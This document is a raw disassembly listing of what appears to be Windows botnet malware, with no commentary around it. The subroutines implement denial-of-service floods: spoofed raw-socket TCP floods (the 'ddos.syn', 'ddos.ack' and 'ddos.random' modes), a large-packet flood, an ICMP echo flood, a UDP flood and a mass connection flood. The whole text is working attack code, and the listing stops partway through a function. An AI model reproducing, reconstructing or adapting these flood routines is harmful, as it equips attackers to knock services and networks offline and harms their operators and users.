arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 494h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0A5h
mov esi, eax
lea edi, [ebp+var_294]
rep movsd
mov dword ptr [eax+290h], 1
call ds:dword_4270A8 ; GetTickCount
push eax
call sub_41B8D8
lea eax, [ebp+var_18C]
push eax ; int
lea eax, [ebp+Str1]
push eax ; Str1
lea eax, [ebp+var_20C]
push eax ; Str
lea eax, [ebp+var_28C]
push eax ; int
call sub_412E40
add esp, 14h
push eax
lea eax, [ebp+Dest]
push offset asc_4361EC ; "-"
push eax ; Dest
call _sprintf
xor esi, esi
add esp, 0Ch
cmp [ebp+var_8], esi
jnz short loc_412AE7
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_294] ; int
call sub_409A73
add esp, 14h
loc_412AE7: ; CODE XREF: sub_412A54+71j
lea eax, [ebp+Dest]
push eax
call sub_4151AD
push [ebp+var_290]
call sub_40B413
pop ecx
pop ecx
push esi
call ds:dword_4270CC ; ExitThread
pop edi
pop esi
sub_412A54 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_412B09(int,int,char *Str1,int,int)
sub_412B09 proc near ; CODE XREF: sub_412E40+40p
var_284 = byte ptr -284h
Dest = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
Dst = byte ptr -8Ch
Src = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = word ptr -58h
var_56 = word ptr -56h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = word ptr -30h
var_2E = word ptr -2Eh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
Str1 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_4CB5C4 ; WSAStartup
test eax, eax
jz short loc_412B49
xor eax, eax
jmp loc_412E3C
; ---------------------------------------------------------------------------
loc_412B49: ; CODE XREF: sub_412B09+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_4CB6F8 ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp+var_20], eax
jz loc_412E34
push esi
lea ecx, [ebp+var_40]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_40], edi
call dword_4CB634 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_412E2A
push [ebp+arg_C]
mov [ebp+var_58], 2
call dword_4CB654 ; htons
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_56], ax
mov [ebp+var_54], esi
mov [ebp+var_34], 45h
call dword_4CB654 ; htons
push [ebp+arg_C]
mov [ebp+var_32], ax
mov [ebp+var_30], di
mov [ebp+var_2E], bx
mov [ebp+var_2C], 80h
mov [ebp+var_2B], 6
mov [ebp+var_2A], bx
mov [ebp+var_24], esi
call dword_4CB654 ; htons
mov [ebp+var_12], ax
call _rand
movzx eax, ax
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_4CB654 ; htons
push 12345678h
mov [ebp+var_14], ax
call dword_4CB650 ; htonl
push offset aDdos_syn ; "ddos.syn"
mov [ebp+var_10], eax
push [ebp+Str1] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_412C19
mov [ebp+var_C], ebx
mov [ebp+var_7], 2
jmp short loc_412C6D
; ---------------------------------------------------------------------------
loc_412C19: ; CODE XREF: sub_412B09+105j
push offset aDdos_ack ; "ddos.ack"
push [ebp+Str1] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_412C35
mov [ebp+var_C], ebx
mov [ebp+var_7], 10h
jmp short loc_412C6D
; ---------------------------------------------------------------------------
loc_412C35: ; CODE XREF: sub_412B09+121j
push offset aDdos_random ; "ddos.random"
push [ebp+Str1] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_412C6D
call _rand
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_C], edx
call _rand
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_7], dl
loc_412C6D: ; CODE XREF: sub_412B09+10Ej
; sub_412B09+12Aj ...
push 4000h
mov [ebp+var_8], 50h
call dword_4CB654 ; htons
mov [ebp+var_6], ax
lea eax, [ebp+var_48]
push eax
mov [ebp+var_2], bx
mov [ebp+Str1], ebx
call ds:dword_427134 ; QueryPerformanceFrequency
lea eax, [ebp+var_1C]
push eax
call ds:dword_427130 ; QueryPerformanceCounter
push [ebp+var_44]
mov eax, [ebp+arg_10]
cdq
push [ebp+var_48]
push edx
push eax
call __allmul
add eax, [ebp+var_1C]
push 14h
pop esi
adc edx, [ebp+var_18]
mov [ebp+var_3C], eax
mov [ebp+var_38], edx
loc_412CBB: ; CODE XREF: sub_412B09+2E2j
; sub_412B09+2F0j
mov [ebp+var_4], bx
call _rand
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_4CB654 ; htons
mov [ebp+var_14], ax
call _rand
mov edi, eax
shl edi, 10h
call _rand
or edi, eax
push edi
call dword_4CB654 ; htons
movzx eax, ax
mov [ebp+var_10], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_4CB650 ; htonl
mov [ebp+var_28], eax
mov eax, [ebp+var_24]
push esi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_4CB654 ; htons
mov [ebp+var_6E], ax
mov eax, [ebp+var_28]
mov [ebp+Src], eax
lea eax, [ebp+Src]
push 20h ; Size
push eax ; Src
lea eax, [ebp+var_B4]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_14]
push esi ; Size
push eax ; Src
lea eax, [ebp+var_94]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AC69
mov [ebp+var_4], ax
lea eax, [ebp+var_34]
push esi ; Size
push eax ; Src
lea eax, [ebp+var_B4]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_14]
push esi ; Size
push eax ; Src
lea eax, [ebp+var_A0]
push eax ; Dst
call _memcpy
push 4 ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AC69
mov [ebp+var_2A], ax
lea eax, [ebp+var_34]
push esi ; Size
push eax ; Src
lea eax, [ebp+var_B4]
push eax ; Dst
call _memcpy
add esp, 14h
lea eax, [ebp+var_58]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_20]
call dword_4CB6B8 ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_412DFE
add [ebp+Str1], eax
lea eax, [ebp+var_1C]
push eax
call ds:dword_427130 ; QueryPerformanceCounter
mov eax, [ebp+var_18]
cmp eax, [ebp+var_38]
jg short loc_412E27
jl loc_412CBB
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_3C]
jnb short loc_412E27
jmp loc_412CBB
; ---------------------------------------------------------------------------
loc_412DFE: ; CODE XREF: sub_412B09+2CBj
call dword_4CB5E8 ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset asc_436214 ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dest]
push eax
call sub_4151AD
add esp, 10h
jmp short loc_412E2A
; ---------------------------------------------------------------------------
loc_412E27: ; CODE XREF: sub_412B09+2E0j
; sub_412B09+2EEj
mov ebx, [ebp+Str1]
loc_412E2A: ; CODE XREF: sub_412B09+78j
; sub_412B09+31Cj
push [ebp+var_20]
call dword_4CB6EC ; closesocket
pop esi
loc_412E34: ; CODE XREF: sub_412B09+5Bj
call dword_4CB5AC ; WSACleanup
mov eax, ebx
loc_412E3C: ; CODE XREF: sub_412B09+3Bj
pop edi
pop ebx
leave
retn
sub_412B09 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_412E40(int,char *Str,char *Str1,int)
sub_412E40 proc near ; CODE XREF: sub_412A54+4Fp
arg_0 = dword ptr 4
Str = dword ptr 8
Str1 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40AAFA
push [esp+10h+Str] ; Str
mov esi, eax
call _atoi
push [esp+14h+arg_C] ; Str
mov ebx, eax
call _atoi
mov edi, eax
call _rand
cdq
mov ecx, 200h
push edi ; int
idiv ecx
push ebx ; int
push [esp+20h+Str1] ; Str1
lea eax, [edx+esi+100h]
push eax ; int
push esi ; int
call sub_412B09
add esp, 20h
test eax, eax
jnz short loc_412E8F
push 1
pop eax
loc_412E8F: ; CODE XREF: sub_412E40+4Aj
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_412E40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412E9E proc near ; DATA XREF: sub_401ACD+6722o
Dest = byte ptr -3BCh
var_1BC = dword ptr -1BCh
var_1B8 = byte ptr -1B8h
var_138 = byte ptr -138h
Str = byte ptr -0B8h
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
Dst = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3BCh
push ebx
push esi
mov eax, [ebp+arg_0]
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp+var_1BC]
push 1
pop ebx
push 0FFh
push 3
rep movsd
push 2
mov [eax+19Ch], ebx
call dword_4CB6D4 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_412F39
call dword_4CB5E8 ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset asc_436314 ; "-"
push eax ; Dest
call _sprintf
xor edi, edi
add esp, 0Ch
cmp [ebp+var_24], edi
jnz short loc_412F1C
push edi ; int
lea eax, [ebp+Dest]
push [ebp+var_28] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_1BC] ; int
call sub_409A73
add esp, 14h
loc_412F1C: ; CODE XREF: sub_412E9E+5Cj
lea eax, [ebp+Dest]
push eax
call sub_4151AD
push [ebp+var_38]
call sub_40B413
pop ecx
pop ecx
push edi
call ds:dword_4270CC ; ExitThread
loc_412F39: ; CODE XREF: sub_412E9E+3Aj
lea ecx, [ebp+var_C]
push 4
push ecx
xor edi, edi
push 2
push edi
push eax
mov [ebp+var_C], ebx
call dword_4CB634 ; setsockopt
loc_412F4E: ; DATA XREF: .data:off_43A86Co
cmp eax, 0FFFFFFFFh
jnz short loc_412FB0
call dword_4CB5E8 ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset asc_4362E4 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_24], edi
jnz short loc_412F93
push edi ; int
lea eax, [ebp+Dest]
push [ebp+var_28] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_1BC] ; int
call sub_409A73
add esp, 14h
loc_412F93: ; CODE XREF: sub_412E9E+D3j
lea eax, [ebp+Dest]
push eax
call sub_4151AD
push [ebp+var_38]
call sub_40B413
pop ecx
pop ecx
push edi
call ds:dword_4270CC ; ExitThread
loc_412FB0: ; CODE XREF: sub_412E9E+B3j
lea eax, [ebp+var_1B8]
push eax
call dword_4CB694 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_413017
lea eax, [ebp+Dest]
push offset asc_4362C4 ; "-"
push eax ; Dest
call _sprintf
cmp [ebp+var_24], edi
pop ecx
pop ecx
jnz short loc_412FFA
push edi ; int
lea eax, [ebp+Dest]
push [ebp+var_28] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_1BC] ; int
call sub_409A73
add esp, 14h
loc_412FFA: ; CODE XREF: sub_412E9E+13Aj
lea eax, [ebp+Dest]
push eax
call sub_4151AD
push [ebp+var_38]
call sub_40B413
pop ecx
pop ecx
push edi
call ds:dword_4270CC ; ExitThread
loc_413017: ; CODE XREF: sub_412E9E+122j
push 10h ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push edi
call dword_4CB654 ; htons
mov [ebp+var_1A], ax
lea eax, [ebp+var_1B8]
push eax
call dword_4CB694 ; inet_addr
mov esi, ds:dword_4270A8
mov [ebp+var_18], eax
mov [ebp+arg_0], edi
call esi ; GetTickCount
mov [ebp+var_8], eax
loc_413055: ; CODE XREF: sub_412E9E+2E8j
call esi ; GetTickCount
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+var_30]
ja loc_413200
push 41Ch
mov byte_4CE3C8, 45h
call dword_4CB654 ; htons
cmp [ebp+var_2C], edi
mov word_4CE3CA, ax
mov word_4CE3CC, bx
mov word_4CE3CE, di
mov byte_4CE3D0, 80h
mov byte_4CE3D1, bl
mov word_4CE3D2, di
jz short loc_4130DB
call _rand
mov ebx, eax
shl ebx, 8
call _rand
add ebx, eax
shl ebx, 8
call _rand
add ebx, eax
shl ebx, 8
call _rand
add ebx, eax
push 1
mov dword_4CE3D4, ebx
pop ebx
jmp short loc_4130F3
; ---------------------------------------------------------------------------
loc_4130DB: ; CODE XREF: sub_412E9E+20Bj
push [ebp+var_1BC]
call sub_40AC10
pop ecx
push eax
call dword_4CB694 ; inet_addr
mov dword_4CE3D4, eax
loc_4130F3: ; CODE XREF: sub_412E9E+23Bj
mov eax, [ebp+var_18]
mov dword_4CE3D8, eax
call _rand
cdq
mov ecx, 100h
idiv ecx
mov byte_4CE3DC, dl
call _rand
cdq
mov ecx, 100h
idiv ecx
mov byte_4CE3DD, dl
call _rand
cdq
mov ecx, 0F0h
push 400h ; Size
idiv ecx
mov word_4CE3DE, di
mov word_4CE3E2, bx
inc edx
mov word_4CE3E0, dx
call _rand
cdq
mov ecx, 0FFh
idiv ecx
push edx ; Val
push offset dword_4CE3E4 ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Dst]
push 10h
push eax
push edi
push 41Ch
push offset byte_4CE3C8
push [ebp+var_4]
call dword_4CB6B8 ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_41318B
inc [ebp+arg_0]
jmp loc_413055
; ---------------------------------------------------------------------------
loc_41318B: ; CODE XREF: sub_412E9E+2E3j
push [ebp+var_4]
call dword_4CB6EC ; closesocket
call dword_4CB5E8 ; WSAGetLastError
push eax
lea eax, [ebp+var_1B8]
push [ebp+arg_0]
push eax
push offset asc_43627C ; "-"
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 18h
cmp [ebp+var_24], edi
jnz short loc_4131E3
push edi ; int
lea eax, [ebp+Dest]
push [ebp+var_28] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_1BC] ; int
call sub_409A73
add esp, 14h
loc_4131E3: ; CODE XREF: sub_412E9E+323j
lea eax, [ebp+Dest]
push eax
call sub_4151AD
push [ebp+var_38]
call sub_40B413
pop ecx
pop ecx
push edi
call ds:dword_4270CC ; ExitThread
loc_413200: ; CODE XREF: sub_412E9E+1C8j
push [ebp+var_4]
call dword_4CB6EC ; closesocket
mov eax, [ebp+arg_0]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div [ebp+var_30]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp+var_1B8]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_138]
push eax
lea eax, [ebp+Dest]
push offset asc_436230 ; "-"
push eax ; Dest
call _sprintf
add esp, 1Ch
cmp [ebp+var_24], edi
jnz short loc_413268
push edi ; int
lea eax, [ebp+Dest]
push [ebp+var_28] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_1BC] ; int
call sub_409A73
add esp, 14h
loc_413268: ; CODE XREF: sub_412E9E+3A8j
lea eax, [ebp+Dest]
push eax
call sub_4151AD
push [ebp+var_38]
call sub_40B413
pop ecx
pop ecx
push edi
call ds:dword_4270CC ; ExitThread
sub_412E9E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413285 proc near ; DATA XREF: sub_401ACD+5510o
var_10320 = byte ptr -10320h
Dest = byte ptr -344h
var_144 = dword ptr -144h
Str = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
Dst = byte ptr -20h
var_18 = dword ptr -18h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10320h
call __alloca_probe
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
push 1
pop edi
mov [eax+120h], edi
call dword_4CB5DC ; IcmpCreateFile
mov [ebp+arg_0], eax
lea eax, [ebp+var_C0]
push eax
call dword_4CB694 ; inet_addr
mov esi, eax
xor ebx, ebx
xor eax, eax
cmp esi, 0FFFFFFFFh
jnz short loc_4132E0
lea eax, [ebp+var_C0]
push eax
call dword_4CB6D8 ; gethostbyname
cmp eax, ebx
jz short loc_4132E6
loc_4132E0: ; CODE XREF: sub_413285+48j
cmp [ebp+arg_0], 0FFFFFFFFh
jnz short loc_413343
loc_4132E6: ; CODE XREF: sub_413285+59j
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+Dest]
push offset asc_43636C ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_413326
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_144] ; int
call sub_409A73
add esp, 14h
loc_413326: ; CODE XREF: sub_413285+7Fj
lea eax, [ebp+Dest]
push eax
call sub_4151AD
push [ebp+var_30]
call sub_40B413
pop ecx
pop ecx
push edi
call ds:dword_4270CC ; ExitThread
loc_413343: ; CODE XREF: sub_413285+5Fj
cmp eax, ebx
jz short loc_413353
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_4], eax
jmp short loc_413356
; ---------------------------------------------------------------------------
loc_413353: ; CODE XREF: sub_413285+C0j
mov [ebp+var_4], esi
loc_413356: ; CODE XREF: sub_413285+CCj
push 1Ch ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
or [ebp+var_18], 0FFFFFFFFh
mov eax, 0FFDCh
add esp, 0Ch
cmp [ebp+var_3C], eax
jle short loc_413376
mov [ebp+var_3C], eax
loc_413376: ; CODE XREF: sub_413285+ECj
cmp [ebp+var_38], edi
jge short loc_41337E
mov [ebp+var_38], edi
loc_41337E: ; CODE XREF: sub_413285+F4j
xor esi, esi
cmp [ebp+var_40], ebx
jle short loc_4133AB
loc_413385: ; CODE XREF: sub_413285+124j
push [ebp+var_38]
lea eax, [ebp+Dst]
push 1Ch
push eax
push ebx
lea eax, [ebp+var_10320]
push [ebp+var_3C]
push eax
push [ebp+var_4]
push [ebp+arg_0]
call dword_4CB56C ; IcmpSendEcho
inc esi
cmp esi, [ebp+var_40]
jl short loc_413385
loc_4133AB: ; CODE XREF: sub_413285+FEj
push [ebp+arg_0]
call dword_4CB70C ; IcmpCloseHandle
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+Dest]
push offset asc_436340 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_4133F4
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_144] ; int
call sub_409A73
add esp, 14h
loc_4133F4: ; CODE XREF: sub_413285+14Dj
lea eax, [ebp+Dest]
push eax
call sub_4151AD
push [ebp+var_30]
call sub_40B413
pop ecx
pop ecx
push ebx
call ds:dword_4270CC ; ExitThread
sub_413285 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413411 proc near ; DATA XREF: sub_401ACD+575Co
var_10311 = byte ptr -10311h
var_10310 = byte ptr -10310h
Dest = byte ptr -334h
var_134 = dword ptr -134h
Str = byte ptr -130h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10310h
call __alloca_probe
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_134]
rep movsd
push 1
pop esi
mov [eax+120h], esi
call ds:dword_4270A8 ; GetTickCount
push eax
call sub_41B8D8
pop ecx
push 11h
push 2
push 2
call dword_4CB6D4 ; socket
mov ebx, eax
xor edi, edi
push 10h ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_B0]
mov [ebp+Dst], 2
push eax
call dword_4CB694 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jnz short loc_4134F6
lea eax, [ebp+var_B0]
push eax
call dword_4CB6D8 ; gethostbyname
cmp eax, edi
jnz short loc_4134EF
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+Dest]
push offset asc_4363C0 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_4134D2
push edi ; int
lea eax, [ebp+Dest]
push [ebp+var_1C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_134] ; int
call sub_409A73
add esp, 14h
loc_4134D2: ; CODE XREF: sub_413411+9Fj
lea eax, [ebp+Dest]
push eax
call sub_4151AD
push [ebp+var_20]
call sub_40B413
pop ecx
pop ecx
push esi
call ds:dword_4270CC ; ExitThread
loc_4134EF: ; CODE XREF: sub_413411+7Fj
mov eax, [eax+0Ch]
mov eax, [eax]
jmp short loc_4134F9
; ---------------------------------------------------------------------------
loc_4134F6: ; CODE XREF: sub_413411+6Ej
lea eax, [ebp+arg_0]
loc_4134F9: ; CODE XREF: sub_413411+E3j
mov eax, [eax]
cmp [ebp+var_24], edi
mov [ebp+var_C], eax
jnz short loc_413514
call _rand
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
jmp short loc_413517
; ---------------------------------------------------------------------------
loc_413514: ; CODE XREF: sub_413411+F0j
push [ebp+var_24]
loc_413517: ; CODE XREF: sub_413411+101j
call dword_4CB654 ; htons
cmp [ebp+var_24], esi
mov [ebp+var_E], ax
jge short loc_413529
mov [ebp+var_24], esi
loc_413529: ; CODE XREF: sub_413411+113j
mov eax, 0FFFFh
cmp [ebp+var_24], eax
jle short loc_413536
mov [ebp+var_24], eax
loc_413536: ; CODE XREF: sub_413411+120j
mov eax, [ebp+var_30]
push 0Ah
cdq
pop ecx
idiv ecx
cmp [ebp+var_28], edi
mov [ebp+var_30], eax
jnz short loc_41354A
mov [ebp+var_28], esi
loc_41354A: ; CODE XREF: sub_413411+134j
xor esi, esi
cmp [ebp+var_2C], edi
jle short loc_41356B
loc_413551: ; CODE XREF: sub_413411+158j
call _rand
cdq
mov ecx, 0FFh
idiv ecx
inc esi
cmp esi, [ebp+var_2C]
mov [ebp+esi+var_10311], dl
jl short loc_413551
loc_41356B: ; CODE XREF: sub_413411+13Ej
; sub_413411+19Cj ...
mov eax, [ebp+var_30]
dec [ebp+var_30]
test eax, eax
jle short loc_4135CA
push 0Bh
pop esi
loc_413578: ; CODE XREF: sub_413411+197j
lea eax, [ebp+Dst]
push 10h
push eax
push edi
call _rand
push 0Ah
cdq
pop ecx
idiv ecx
mov eax, [ebp+var_2C]
sub eax, edx
push eax
lea eax, [ebp+var_10310]
push eax
push ebx
call dword_4CB6B8 ; sendto
push [ebp+var_28]
call ds:dword_427078 ; Sleep
dec esi
jnz short loc_413578
cmp [ebp+var_24], edi
jnz short loc_41356B
call _rand
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
call dword_4CB654 ; htons
mov [ebp+var_E], ax
jmp short loc_41356B
; ---------------------------------------------------------------------------
loc_4135CA: ; CODE XREF: sub_413411+162j
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+Dest]
push offset asc_436394 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_41360A
push edi ; int
lea eax, [ebp+Dest]
push [ebp+var_1C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_134] ; int
call sub_409A73
add esp, 14h
loc_41360A: ; CODE XREF: sub_413411+1D7j
lea eax, [ebp+Dest]
push eax
call sub_4151AD
push [ebp+var_20]
call sub_40B413
pop ecx
pop ecx
push edi
call ds:dword_4270CC ; ExitThread
sub_413411 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413627 proc near ; DATA XREF: sub_401ACD+4DEDo
Dest = byte ptr -414h
var_214 = dword ptr -214h
var_210 = dword ptr -210h
var_190 = byte ptr -190h
var_110 = dword ptr -110h
Str = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax ; int
lea eax, [ebp+var_190]
push eax ; Str
lea eax, [ebp+var_210]
push eax ; int
call sub_413788
add esp, 0Ch
push eax
lea eax, [ebp+Dest]
push offset asc_4363E8 ; "-"
push eax ; Dest
call _sprintf
xor esi, esi
add esp, 0Ch
cmp [ebp+var_8], esi
jnz short loc_4136A7
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_214] ; int
call sub_409A73
add esp, 14h
loc_4136A7: ; CODE XREF: sub_413627+5Ej
lea eax, [ebp+Dest]
push eax
call sub_4151AD
push [ebp+var_10]
call sub_40B413
pop ecx
pop ecx
push esi
call ds:dword_4270CC ; ExitThread
pop edi
pop esi
sub_413627 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4136C6 proc near ; CODE XREF: sub_413788+27p
var_654 = byte ptr -654h
Dst = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 654h
push 10h ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+arg_4]
call dword_4CB654 ; htons
mov [ebp+var_12], ax
mov eax, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_8]
test eax, eax
mov [ebp+var_4], 1
jle short loc_413784
push ebx
push esi
push edi
mov [ebp+arg_4], eax
mov edi, 190h
loc_413711: ; CODE XREF: sub_4136C6+B9j
lea esi, [ebp+var_654]
mov ebx, edi
loc_413719: ; CODE XREF: sub_4136C6+7Aj
push 0
push 1
push 2
call ds:dword_427220 ; socket
cmp eax, 0FFFFFFFFh
mov [esi], eax
jz short loc_41373C
lea ecx, [ebp+var_4]
push ecx
push 8004667Eh
push eax
call ds:dword_4271F8 ; ioctlsocket
loc_41373C: ; CODE XREF: sub_4136C6+64j
add esi, 4
dec ebx
jnz short loc_413719
lea esi, [ebp+var_654]
mov ebx, edi
loc_41374A: ; CODE XREF: sub_4136C6+96j
lea eax, [ebp+Dst]
push 10h
push eax
push dword ptr [esi]
call ds:dword_427214 ; connect
add esi, 4
dec ebx
jnz short loc_41374A
push 64h
call ds:dword_427078 ; Sleep
lea esi, [ebp+var_654]
mov ebx, edi
loc_41376E: ; CODE XREF: sub_4136C6+B4j
push dword ptr [esi]
call ds:dword_42721C ; closesocket
add esi, 4
dec ebx
jnz short loc_41376E
dec [ebp+arg_4]
jnz short loc_413711
pop edi
pop esi
pop ebx
